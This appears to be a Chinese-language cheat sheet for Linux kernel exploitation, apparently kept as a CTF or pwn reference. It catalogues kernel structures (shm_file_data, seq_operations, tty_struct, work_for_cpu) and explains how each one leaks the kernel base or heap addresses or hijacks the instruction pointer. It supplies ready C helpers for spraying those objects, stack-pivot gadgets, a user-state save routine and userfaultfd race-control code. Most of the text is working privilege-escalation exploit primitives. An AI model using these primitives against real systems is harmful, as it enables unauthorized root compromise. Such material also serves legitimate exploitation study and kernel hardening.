shm_file_data
size: 0x20 (kmalloc-32)
ns, vm_ops泄漏kernel_base
file泄漏kernel堆地址
struct shm_file_data
{
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
使用方法:
int shmid_open()
{
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
{
perror("Shmget Error");
exit(-1);
}
char *shmaddr=shmat(shmid,NULL,0);
if (shmaddr==(void*)-1)
{
puts("[X] Shmat Error");
exit(0);
}
return shmid;
}
seq_operations
size: 0x20 (kmalloc-32)
四个指针都可以泄漏kernel_base
更改start可以劫持RIP
struct seq_operations
{
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
使用方法:
int seq_open()
{
int seq;
if ((seq=open("/proc/self/stat", O_RDONLY))==-1)
{
puts("[X] Seq Open Error");
exit(0);
}
return seq;
}
劫持RIP:
read(seq,ptr,0);
劫持发生于seq_read处
rax=start
r15=&ptr
mov qword ptr [rsp], rax ;
ret ;
p = m->op->start(m, &m->index); /// fs/seq_file.c#L203
实现ROP所需要的gadgets:
0x0000000000000000 : xchg esp, eax ; ret ;
0x0000000000000000 : xchg rsp, r15 ; ret ;
0x0000000000000000 : xchg esp, r15d ; ret ;
tty_struct
size: 0x2e0 (kmalloc-1024)
tty_operations *ops可以泄漏kernel_base
__int64_t ptm_unix98_ops_addr=tty_buf[3];
if ((ptm_unix98_ops_addr&0xFFF)==0x320) ptm_unix98_ops_addr+=0x120;
劫持struct tty_operations *ops可以控制RIP
struct tty_struct
{
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
tty_operations *ops结构体:
struct tty_operations
{
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
使用方法:
int get_tty_struct()
{
int ptmx_fd=open("/dev/ptmx",O_RDWR);
if (ptmx_fd<=0) printf("[X] Ptmx open failed");
read(fd,tty_buf,0);
if (tty_buf[0]==0x100005401)
{
puts("[+] Ptmx struct got");
return ptmx_fd;
}
return 0;
}
save_state
保存用户态寄存器
void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
:
: "memory"
);
}
register_userfault
缺页注册函数:
void register_userfault(void *fault_page, void *page_fault_handler, int filedes_out)
{
pthread_t thread_id;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC|O_NONBLOCK);
if (uffd == -1)
{
perror("Userfaultfd Error");
exit(EXIT_FAILURE);
}
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd,UFFDIO_API,&ua) == -1)
{
perror("UFFDIO_API Error");
exit(EXIT_FAILURE);
}
ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd,UFFDIO_REGISTER,&ur)==-1)
{
perror("UFFDIO_REGISTER Error");
exit(EXIT_FAILURE);
}
uint64_t *handler_arg = malloc(sizeof(uffd) + sizeof(uint64_t));
handler_arg[0] = uffd;
handler_arg[1] = (uint64_t)filedes_out;
if (pthread_create(&thread_id, NULL, page_fault_handler, (void *)handler_arg) != 0)
{
perror("Pthread Error");
exit(EXIT_FAILURE);
}
}
缺页处理函数:
void *page_fault_handler(uint64_t *handler_arg)
{
struct uffd_msg msg;
unsigned long uffd = handler_arg[0];
int filedes_out=handler_arg[1];
read(filedes_out, &filedes_out, 0x1);
free(handler_arg);
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1)
{
perror("Poll Error");
exit(EXIT_FAILURE);
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
perror("Msg Error");
exit(EXIT_FAILURE);
}
char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
perror("Mmap Error");
exit(EXIT_FAILURE);
}
struct uffdio_copy uc;
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address&~(PAGE_SIZE-1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd,UFFDIO_COPY,&uc);
}
work_for_cpu_fn
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);
}
使用方法:
*(a1+0x30)=(*(void (*)(void *))(a1+0x20)(*(a1+0x28))
// fake assemble
mov rcx, rdi;
mov rdi, qword ptr [rdi+0x28] ;
call qword ptr [rcx+0x20] ;
mov qword ptr [rcx+0x30], rax ;